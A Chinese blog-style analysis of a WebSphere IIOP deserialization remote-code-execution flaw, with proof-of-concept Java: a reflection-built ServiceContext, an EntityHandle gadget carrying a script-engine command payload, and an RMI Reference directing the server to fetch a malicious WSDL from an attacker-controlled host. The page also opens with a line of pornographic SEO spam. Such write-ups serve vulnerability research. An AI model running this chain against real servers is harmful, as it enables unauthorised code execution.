真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何進(jìn)行WebSphere反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

本篇文章為大家展示了如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

創(chuàng)新互聯(lián)公司是一家專注于成都網(wǎng)站制作、網(wǎng)站建設(shè)與策劃設(shè)計(jì),上饒網(wǎng)站建設(shè)哪家好?創(chuàng)新互聯(lián)公司做網(wǎng)站,專注于網(wǎng)站建設(shè)十載,網(wǎng)設(shè)計(jì)領(lǐng)域的專業(yè)建站公司;建站業(yè)務(wù)涵蓋:上饒等地區(qū)。上饒做網(wǎng)站價(jià)格咨詢:18982081108

WebSphere簡(jiǎn)介

WebSphere 是 IBM 的軟件平臺(tái)。它包含了編寫、運(yùn)行和監(jiān)視全天候的工業(yè)強(qiáng)度的隨需應(yīng)變 Web 應(yīng)用程序和跨平臺(tái)、跨產(chǎn)品解決方案所需要的整個(gè)中間件基礎(chǔ)設(shè)施,如服務(wù)器、服務(wù)和工具。WebSphere 提供了可靠、靈活和健壯的軟件。

WebSphere Application Server 是該設(shè)施的基礎(chǔ),其他所有產(chǎn)品都在它之上運(yùn)行。WebSphere Process Server 基于 WebSphere Application Server 和 WebSphere Enterprise Service Bus,它為面向服務(wù)的體系結(jié)構(gòu) (SOA) 的模塊化應(yīng)用程序提供了基礎(chǔ),并支持應(yīng)用業(yè)務(wù)規(guī)則,以驅(qū)動(dòng)支持業(yè)務(wù)流程的應(yīng)用程序。高性能環(huán)境還使用 WebSphere Extended Deployment 作為其基礎(chǔ)設(shè)施的一部分。其他 WebSphere 產(chǎn)品提供了廣泛的其他服務(wù)。

WebSphere 是一個(gè)模塊化的平臺(tái),基于業(yè)界支持的開(kāi)放標(biāo)準(zhǔn)。可以通過(guò)受信任和持久的接口,將現(xiàn)有資產(chǎn)插入 WebSphere,可以繼續(xù)擴(kuò)展環(huán)境。WebSphere 可以在許多平臺(tái)上運(yùn)行,包括 Intel、Linux 和 z/OS。

WebSphere 是隨需應(yīng)變的電子商務(wù)時(shí)代的最主要的軟件平臺(tái),可用于企業(yè)開(kāi)發(fā)、部署和整合新一代的電子商務(wù)應(yīng)用,如B2B,并支持從簡(jiǎn)單的網(wǎng)頁(yè)內(nèi)容發(fā)布到企業(yè)級(jí)事務(wù)處理的商業(yè)應(yīng)用。WebSphere 可以創(chuàng)建電子商務(wù)站點(diǎn), 把應(yīng)用擴(kuò)展到聯(lián)合的移動(dòng)設(shè)備, 整合已有的應(yīng)用并提供自動(dòng)業(yè)務(wù)流程。

WSDL簡(jiǎn)介

WSDL是一個(gè)用于精確描述Web服務(wù)的文檔,WSDL文檔是一個(gè)遵循WSDL-XML模式的XML文檔。WSDL 文檔將Web服務(wù)定義為服務(wù)訪問(wèn)點(diǎn)。在 WSDL 中,由于服務(wù)訪問(wèn)點(diǎn)和消息的抽象定義已從具體的服務(wù)部署或數(shù)據(jù)格式綁定中分離出來(lái),因此可以對(duì)抽象定義進(jìn)行再次使用。消息,指對(duì)交換數(shù)據(jù)的抽象描述;而端口類型,指操作的抽象集中。用于特定端口類型的具體協(xié)議和數(shù)據(jù)格式規(guī)范構(gòu)成了可以再次使用的綁定。將Web訪問(wèn)地址與可再次使用的綁定相關(guān)聯(lián),可以定義一個(gè)端口,而端口的集中則定義為服務(wù)。 一個(gè)WSDL文檔通常包含8個(gè)重要的元素,即definitions、types、import、message、portType、operation、binding、service元素。這些元素嵌套在definitions元素中,definitions是WSDL文檔的根元素。

漏洞原理深度分析

網(wǎng)上最早披露的漏洞相關(guān)詳情信息是在https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere此篇博文中進(jìn)行講解的。

根據(jù)文中的部分描述,此漏洞是由IIOP協(xié)議上的反序列化造成,所以我們本地需要起一個(gè)IIOP客戶端來(lái)向WebSphere發(fā)送請(qǐng)求從而觸發(fā)漏洞。

代碼如下所示

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
env.put(Context.PROVIDER_URL, "iiop://172.16.45.148:2809");
InitialContext initialContext = new InitialContext(env);
initialContext.list("");

根據(jù)文章中的描述我們來(lái)到TxServerInterceptor這個(gè)攔截器的receive_request方法中,根據(jù)博主的描述在到達(dá)反序列化點(diǎn)之前的執(zhí)行路徑如下所示

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

我們先從TxServerInterceptor的receive_request方法開(kāi)始調(diào)試。

我們運(yùn)行IIOP客戶端,向WebSphere發(fā)送請(qǐng)求,但是很快就發(fā)現(xiàn)執(zhí)行鏈中的第二個(gè)斷點(diǎn)并沒(méi)有被執(zhí)行,我們來(lái)看下源碼

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

首先先看validOtsContext是在哪里進(jìn)行的賦值

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

可以看到validOtsContext的值為ture 或者false 取決于serviceContext的值是否為空。

經(jīng)過(guò)調(diào)試發(fā)現(xiàn)不出所料serviceContext的值為空,那么現(xiàn)在就面臨第一個(gè)問(wèn)題就是要讓程序執(zhí)行到指定位置,所以我們要想辦法為serviceContext賦一個(gè)值。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

所以我們跟入serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)這行代碼,深度挖掘這個(gè)((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)這個(gè)方法的返回值我們可不可控,判斷一下這個(gè)serviceContext的值是否獲取自IIOP客戶端發(fā)送的數(shù)據(jù)。

下面列出分析serviceContext值來(lái)源的調(diào)用鏈

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

最終來(lái)到ServiceContextList的getServiceContext方法,一下是該方法的具體實(shí)現(xiàn)

public ServiceContext getServiceContext(int var1) {
ServiceContext var2 = null;
synchronized(this) {
for(int var4 = 0; var4 < this.serviceContexts.length; ++var4) {
if (this.serviceContexts[var4].getId() == var1) {
var2 = this.serviceContexts[var4];
break;
}
}

return var2;
}
}

這里的var1是((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)的參數(shù)也就是0,這里會(huì)循環(huán)遍歷ServiceContexts, 如果其中有一個(gè)ServiceContext的id值為0,則會(huì)為var2賦值并返回。也就是說(shuō)我們要想辦法讓ServiceContext的id值為0。那么此時(shí)我們就要看這里的serviceContexts究竟又是在哪里盡心的賦值。

經(jīng)過(guò)對(duì)代碼的回溯,最終找到了這個(gè)為serviceContexts賦值的點(diǎn),在RequestMessage的read方法中,這里會(huì)生成ServiceContext對(duì)象并為其id值進(jìn)行復(fù)制,而這里的id值就是又客戶端傳遞來(lái)的序列化數(shù)據(jù)中讀取到的,那么就意味著該值可控。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

那么我們就要回到POC的構(gòu)造中來(lái)思考怎么設(shè)置ServiceContext的值。

根據(jù)奇安信 觀星實(shí)驗(yàn)室的iswin大佬給的思路,在將構(gòu)造好的ServerContext封裝進(jìn)請(qǐng)求數(shù)據(jù)之前需要先進(jìn)行一次查詢操作,從而讓數(shù)據(jù)初始化

這是初始化之前其中的_context對(duì)象是null

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析當(dāng)執(zhí)行完一次查詢操作后_context對(duì)象就成功被初始化了

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

后續(xù)的一些操作就主要圍著_context對(duì)象中的屬性來(lái)進(jìn)行操作了,經(jīng)過(guò)一番查找最終鎖定了一個(gè)可以操作的ServerContext對(duì)象的屬性,

貼一下該屬性所在的位置,這里我精簡(jiǎn)掉了其余的暫時(shí)用不到的屬性。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析這里并沒(méi)有顯示該屬性的類型,所以去Connection類中查找對(duì)應(yīng)的屬性,確定其類型

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

現(xiàn)在我們的目標(biāo)明確了,就是要向該屬性賦一個(gè)ServiceConetxt的值,這里就需要用到一系列的反射了,截止到orb屬性為止都可以通過(guò)簡(jiǎn)單的反射來(lái)進(jìn)行獲取代碼如下所示

Field f_defaultInitCtx = initialContext.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(initialContext);

Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);

Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);

Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate)f__delegate.get(_corbaNC);

Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);

Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB)f_orb.get(clientDelegate);

然后根據(jù)iswin大佬文章中給的相關(guān)代碼 可以通過(guò)反射獲取orb屬性中存儲(chǔ)的GIOPImpl對(duì)象的getConnection方法,然后通過(guò)getConnection方法在獲取我們所需要的Connection對(duì)象

代碼如下

//通過(guò)反射獲取的orb屬性 調(diào)用其getServerGIOP方法獲取封裝在其中的GIOPImpl對(duì)象
GIOPImpl giopimpl = (GIOPImpl) orb.getServerGIOP();
//反射獲取該GIOPImpl對(duì)象的getConnection方法
Method getConnection = giopimpl.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);
getConnection.setAccessible(true);
//調(diào)用getConnection方法傳入對(duì)應(yīng)參數(shù),獲取所需的Connection對(duì)象。
Connection connection = (Connection) getConnection.invoke(giopimpl,ior,ior.getProfile(),clientDelegate,"LinShiGong");

根據(jù)之前對(duì)ServerContext對(duì)象的分析,我們需要將它封裝進(jìn)該Connection對(duì)象的connectionContext屬性中,所以還需要通過(guò)反射獲取Connection對(duì)象的setConnectionContexts方法,并通過(guò)該方法將我們實(shí)例化好的ServerContext對(duì)象存入其中

代碼如下

//反射獲取Connection對(duì)象的setConnectionContexts方法
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);

接下來(lái)我們需要實(shí)例化一個(gè)ServiceContext對(duì)象并將其id值設(shè)置為0

代碼如下

//為了滿足ServiceContext構(gòu)造方法需要的參數(shù),先隨意構(gòu)造一個(gè)byte[]
byte[] result = new byte[]{00,00};
ServiceContext serviceContext = new ServiceContext(0,result);

接下來(lái)通過(guò)反射獲得的setConnectionContexts方法將ServiceContext對(duì)象存入Connection對(duì)象中

代碼如下

//由于setConnectionContexts的參數(shù)是一個(gè)ArrayList類型所以需要將ServiceContext對(duì)象先放入一個(gè)ArrayList中
ArrayList var4 = new ArrayList();
var4.add(serviceContext);
setConnectionContexts.invoke(connection,var4);
//再次進(jìn)行查詢操作
initialContext.list("");

回到WebSphere這邊,繼續(xù)調(diào)試看能否執(zhí)行到TxInterceptorHelper.demarshalContext方法的位置,可以看到此時(shí)serviceContext的值不在為空了,validOtsContext的值也變成的true

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析可以看到程序現(xiàn)在可以執(zhí)行到指定位置了,那我們就繼續(xù)往下走。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析進(jìn)入到demarshalContext方法后又遇到了第二個(gè)問(wèn)題,就是該方法內(nèi)會(huì)對(duì)客戶端傳來(lái)的數(shù)據(jù)進(jìn)行讀取,并封裝入一個(gè)PropagationContext對(duì)像中

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析這里傳入了三個(gè)參數(shù)然后生成了一個(gè)inputStream對(duì)象,面對(duì)這種問(wèn)題首先要看這個(gè)inputStream讀取的數(shù)據(jù)究竟是哪個(gè)參數(shù)里面的,所以深入跟進(jìn)inputStream.read_ulong方法,并最終來(lái)到CDRInputStream.read_long方法中,觀察代碼可知,讀取的區(qū)域是當(dāng)前對(duì)象的buf屬性中的內(nèi)容,

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析看了這個(gè)buf屬性后覺(jué)得很眼熟,回頭看我們?cè)诳蛻舳诉@邊實(shí)例化ServiceContext對(duì)像時(shí)傳入的result參數(shù)和該屬性的值一模一樣,由此可知我們需要在客戶端實(shí)例化ServiceContext時(shí)在精心構(gòu)造一下其所需的第二個(gè)參數(shù)。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析我們要找到與demarshalContext方法對(duì)應(yīng)的marshalContext方法,然后看看該方法是怎么處理數(shù)據(jù)的,然后我們照著來(lái)就行了。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

根據(jù)上面的格式我們自己稍微修改一下

代碼如下

CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
//生成一個(gè)PropagationContext對(duì)象。
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null,null,new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream,propagationContext);
//輸出為byte數(shù)組
byte[] result = outputStream.toByteArray();

ServiceContext serviceContext = new ServiceContext(0,result);
ArrayList var4 = new ArrayList();
var4.add(serviceContext);
setConnectionContexts.invoke(connection,var4);

initialContext.list("");

這樣就可以成功執(zhí)行到propContext.implementation_specific_data = inputStream.read_any()這行代碼。繼續(xù)跟入

跟到TCUtility類的unmarshalIn方法中,這里遇到了第三個(gè)問(wèn)題,根據(jù)https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere此篇博文中的介紹,該方法中有一個(gè)switch我們需要走到如下圖所示的代碼位置

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

但是目前的參數(shù)經(jīng)過(guò)選擇是走不到此處的,所以就又需要我們來(lái)查看此處的參數(shù)是否是前端傳入并且是否可控了,如果可控那就需要我們繼續(xù)在前端對(duì)數(shù)據(jù)進(jìn)行構(gòu)造。

我們先觀察這里傳遞進(jìn)來(lái)的第一個(gè)參數(shù)也就是var0 一個(gè)InputStream類型的參數(shù)

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析代碼調(diào)回到PropagationContext類的demarshalContext方法,看到出發(fā)漏洞的代碼如下圖所示,其實(shí)結(jié)合客戶端的代碼不難知道這是在反序列化我們傳遞的PropagationContext對(duì)象里封裝的一個(gè)AnyImpl對(duì)象那個(gè)

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

其實(shí)結(jié)合客戶端的代碼不難知道這是在反序列化我們傳遞的PropagationContext對(duì)象里封裝的一個(gè)AnyImpl對(duì)象那個(gè)

//就是這個(gè)AnyImpl
Any any = orb.create_any();
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null,null,new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);

根據(jù)博文中的描述IBM Java SDK中Classloader中禁掉了一些gadget用到的類,TemplatesImpl類不再是可序列化的,而此類又常用于很多公共gadget鏈中,根據(jù)IBM Java SDK中TemplatesImpl類和oracle JDK中TemplatesImpl類的繼承關(guān)系可以確認(rèn)這一點(diǎn)。

Oracle JDK中的TemplatesImpl類的繼承關(guān)系

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析IBM Java SDK中的TemplatesImpl類的繼承關(guān)系,可以看到?jīng)]有實(shí)現(xiàn)Serializable接口

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

IBM SDK不使用Oracle JDK的Java命名和目錄接口(JNDI)實(shí)現(xiàn)。因此,它不會(huì)受到通過(guò)RMI/LDAP加載遠(yuǎn)程類的攻擊,以上的種種限制都增加了RCE的難度,我們需要重新在IBM WebSphere中找到一條新的利用鏈。

大佬們給出了相應(yīng)的思路,IBM WebSphere中有這么一個(gè)類WSIFPort_EJB可以作為入口,此次反序列化RCE利用了WSIFPort_EJB在反序列化時(shí)會(huì)從前端傳入的數(shù)據(jù)中反序列化初一個(gè)Handle對(duì)象,并且會(huì)調(diào)用該對(duì)象的getEJBObject()方法。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析我們需要將WSIFPort_EJB封裝入PropagationContext類的implementation_specific_data屬性中,也就是AnyImpl對(duì)像中,這樣在執(zhí)行propContext.implementation_specific_data = inputStream.read_any()將AnyImpl對(duì)象從inputStream中反序列化出來(lái)的時(shí)候,就會(huì)自然而然的去反序列化我們封裝進(jìn)去的WSIFPort_EJB方法從而執(zhí)行其readObject方法

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

代碼如下

WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);

修改完后再次運(yùn)行,發(fā)現(xiàn)可以執(zhí)行到此次反序列化漏洞的入口點(diǎn),WSIFPort_EJB類的readObject方法了

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

由于我們選擇利用這里的handle.getEJBObject()方法,所以需要找到一個(gè)實(shí)現(xiàn)了Handle接口的類,最終找到了com.ibm.ejs.container.EntityHandle這個(gè)類

在談到EntityHandle這個(gè)類之前我們先看下EntityHandle的getEJBObject方法,以下是該方法中的部分代碼

public EJBObject getEJBObject() throws RemoteException {
......
//此處的this.homeJNDIName和homeClass皆為我們可控
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);
} catch (NoInitialContextException var7) {
Properties p = new Properties();
p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");
ctx = new InitialContext(p);
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);
}

Method fbpk = this.findFindByPrimaryKey(homeClass);
this.object = (EJBObject)fbpk.invoke(home, this.key);
} catch (InvocationTargetException var10) {
......

}

首先我們已知this.homeJNDIName是我們可控的,那么就意味著我們可以指定WebSphere去lookup一個(gè)指定rmi或者ldap服務(wù)器,我們?cè)诜?wù)器上可以放一個(gè)RMI Reference 來(lái)讓W(xué)ebSphere進(jìn)行加載。

生成一個(gè)可利用EntityHandle的對(duì)象需要通過(guò)一系列比較復(fù)雜的反射,根據(jù)Iswin大佬提供的思路,代碼如下

WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);
Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
fieldEjbObject.setAccessible(true);
fieldEjbObject.set(wsifPort_ejb,new EJSWrapper(){
@Override
public Handle getHandle() throws RemoteException {

Handle var2 = null;

try {

SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("iswin",null,null);
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome,j2EEName);
Field jndiName = EJSHome.class.getDeclaredField("jndiName");
jndiName.setAccessible(true);
//jndiName.set(sessionHome,System.getProperty("rmi_backedn"));
jndiName.set(sessionHome,"rmi://172.16.45.1:1097/Object");
BeanId beanId = new BeanId(sessionHome,"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")");
Properties initProperties = new Properties();

initProperties.setProperty("java.naming.factory.object","org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor entiyHandleConstructor = EntityHandle.class.getDeclaredConstructor(BeanId.class,BeanMetaData.class,Properties.class);
entiyHandleConstructor.setAccessible(true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
var2 = (Handle)entiyHandleConstructor.newInstance(beanId,beanMetaData,initProperties);

}catch (Exception e){
e.printStackTrace();
}

return var2;
}
});

之所以這樣寫是因?yàn)閃SIFPort_EJB對(duì)象在序列化時(shí)會(huì)調(diào)用自身的fieldEjbObject屬性的getHandle方法,并將其返回值進(jìn)行序列化,所以我們通過(guò)反射為fieldEjbObject屬性賦值一個(gè)EJSWrapper對(duì)象,并重寫其getHandle方法,在getHandle通過(guò)反射實(shí)例化EntityHandle對(duì)象。

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析回到EntityHandle的getEJBObject方法中,跟進(jìn)ctx.lookup(this.homeJNDIName) 跟到ObjectFactoryHelper的getObjectInstanceViaContextDotObjectFactories方法里的時(shí)候可以看到

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析這里看到environment參數(shù)是我們可控的,所以在該方法中可以調(diào)用我們指定的factory的getObjectInstance方法,可以看到這里的值是在我們?cè)贓ntityHandle實(shí)例化的時(shí)候作為參數(shù)傳遞進(jìn)去了

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

我們傳遞進(jìn)去的值是org.apache.wsif.naming.WSIFServiceObjectFactory所以會(huì)調(diào)用WSIFServiceObjectFactory類的getObjectInstance方法

我們來(lái)看一下該方法的部分代碼,這里會(huì)對(duì)look加載的Reference的信息進(jìn)行解析,并挨個(gè)Reference中的值取出。

public Object getObjectInstance(Object obj, Name name, Context context, Hashtable env) throws Exception {
Trc.entry(this, obj, name, context, env);
if (obj instanceof Reference && obj != null) {
......
}
} else if (ref.getClassName().equals(WSIFServiceStubRef.class.getName())) {
wsdlLoc = this.resolveString(ref.get("wsdlLoc"));
serviceNS = this.resolveString(ref.get("serviceNS"));
serviceName = this.resolveString(ref.get("serviceName"));
portTypeNS = this.resolveString(ref.get("portTypeNS"));
portTypeName = this.resolveString(ref.get("portTypeName"));
String preferredPort = this.resolveString(ref.get("preferredPort"));
String className = this.resolveString(ref.get("className"));
if (wsdlLoc != null) {
WSIFServiceFactory factory = WSIFServiceFactory.newInstance();
WSIFService service = factory.getService(wsdlLoc, serviceNS, serviceName, portTypeNS, portTypeName);
Class iface = Class.forName(className, true, Thread.currentThread().getContextClassLoader());
Object stub = service.getStub(preferredPort, iface);
Trc.exit(stub);
return stub;
}
}
}

Trc.exit();
return null;
}

來(lái)看一下Reference中的代碼。

Registry registry = LocateRegistry.createRegistry(1097);

Reference reference = new Reference(WSIFServiceStubRef.class.getName(),(String) null,(String) null);

reference.add(new StringRefAddr("wsdlLoc","http://172.16.45.1:8000/poc.xml"));
reference.add(new StringRefAddr("serviceNS","http://www.ibm.com/namespace/wsif/samples/ab"));
reference.add(new StringRefAddr("serviceName","rce_service"));
reference.add(new StringRefAddr("portTypeNS","http://www.ibm.com/namespace/wsif/samples/ab"));
reference.add(new StringRefAddr("portTypeName","RceServicePT"));
reference.add(new StringRefAddr("preferredPort","JavaPort"));
reference.add(new StringRefAddr("className","com.ibm.ws.batch.CounterHome"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Object",referenceWrapper);

這里先要注意到的一點(diǎn)就是最后有一個(gè)reference.add(new StringRefAddr("className","com.ibm.ws.batch.CounterHome"))這里牽扯到最終該getObjectInstance函數(shù)返回值的類型問(wèn)題,之前在看EntityHandle的getEJBObject方法時(shí),narrow方法的返回值其實(shí)就是

ctx.lookup(this.homeJNDIName)的返回值,也就是說(shuō)ctx.lookup(this.homeJNDIName)返回值的類型是要實(shí)現(xiàn)自EJBHome接口

home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);

WSIFServiceObjectFactory的getObjectInstance方法的返回值是一個(gè)Proxy類型,而該P(yáng)roxy類型在創(chuàng)建時(shí)傳入的接口參數(shù)就是Reference中的new StringRefAddr("className","com.ibm.ws.batch.CounterHome"),之所以選擇CounterHome作為返回的Proxy對(duì)象的接口,CounterHome繼承了EJBHome是一個(gè)原因,還有一個(gè)原因就是該接口中聲明了接下來(lái)要用到了findFindByPrimaryKey方法

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

講完了為何選擇CounterHome作為返回Proxy對(duì)象的接口,接下來(lái)getObjectInstance方法中還有這么一段代碼

WSIFService service = factory.getService(wsdlLoc, serviceNS, serviceName, portTypeNS, portTypeName);

這里會(huì)根據(jù)解析的Reference中的wsdlLoc字段的值也就是http://172.16.45.1:8000/poc.xml去該地址加載制定的xml文件,這個(gè)poc.xml就是一個(gè)WSDL文件內(nèi)容如下,關(guān)于此WSDL文件的構(gòu)造可以參考此篇文章https://ws.apache.org/wsif/providers/wsdl_extensions/java_extension.html#N10041






































可以看到Reference中的serviceName,portTypeName,preferredPort等字段的值都可以在這個(gè)xml中找到。

最終加載解析完成后會(huì)返回一個(gè)WSIFServiceImpl類型的值。getObjectInstance執(zhí)行完成后會(huì)根據(jù)該WSIFServiceImpl對(duì)象生成一個(gè)對(duì)應(yīng)的Proxy對(duì)象,也就前面提到的實(shí)現(xiàn)接口為CounterHome的那個(gè)proxy對(duì)象。

WSIFServiceObjectFactory的getObjectInstance方法執(zhí)行完成后返回至EntityHandle的getEJBObject方法中,接下來(lái)會(huì)執(zhí)行這里會(huì)查詢homeClass中是否有個(gè)方法名叫findFindByPrimaryKey的方法,如果有的話返回該方法的Method對(duì)象,如果沒(méi)有則返回空,該homeClass變量里的值是我們可控的,在IIOP客戶端生成EntityHandle對(duì)象時(shí)就已經(jīng)封裝好了,其值為com.ibm.ws.batch.CounterHome所以執(zhí)行結(jié)果時(shí)返回findFindByPrimaryKey方法的Method對(duì)像。

Method fbpk = this.findFindByPrimaryKey(homeClass)

接下來(lái)就會(huì)執(zhí)行最關(guān)鍵的一步也就是

this.object = (EJBObject)fbpk.invoke(home, this.key)

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

接下來(lái)就會(huì)執(zhí)行到WSIFClientProxy的Invoke方法中然后跟蹤到WSIFOperation_Java的executeRequestResponseOperation方法中,該方法中有這么一行代碼

result = this.fieldMethods[a].invoke(objRef, compatibleArguments);

如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析

可以看到這里就通過(guò)放反射的方法調(diào)用javax.el.ELProcessor的eval方法了,并將我們我們想要執(zhí)行的代碼傳遞了進(jìn)去。至此CVE-2020-445反序列化遠(yuǎn)程代碼執(zhí)行漏洞分析完畢。

此次漏洞確實(shí)稍顯復(fù)雜,但是思路其實(shí)還是挺清晰的,首先是通過(guò)構(gòu)造發(fā)送的數(shù)據(jù),讓W(xué)ebSphere先執(zhí)行到反序列化的點(diǎn),然后由于IBM JAVA SDK本身的限制,沒(méi)辦法使用RMI Reference或者LDAP Reference 遠(yuǎn)程加載Class到本地來(lái)執(zhí)行惡意代碼的方式了所以 需要從本地找到一個(gè)實(shí)現(xiàn)了ObjectFactory的類,并且該類在getObjectInstance方法中進(jìn)行了有風(fēng)險(xiǎn)的操作,這里可以參考Michael Stepankin大佬的這篇文章https://www.veracode.com/blog/research/exploiting-jndi-injections-java。所以找到了WSIFServiceObjectFactory,該類解析了Reference并根據(jù)Reference中的值去加載和解析我們事先準(zhǔn)備好的一個(gè)惡意WSDL文件。最終WebSphere根據(jù)WSIFServiceObjectFactory的getObjectInstance方法的返回值通過(guò)反射的方式調(diào)用了javax.el.ELProcessor的eval方法了最終執(zhí)行了我們的惡意代碼。

上述內(nèi)容就是如何進(jìn)行WebSphere  反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


文章題目:如何進(jìn)行WebSphere反序列化遠(yuǎn)程代碼執(zhí)行漏洞的深度分析
文章URL:http://weahome.cn/article/podhpp.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部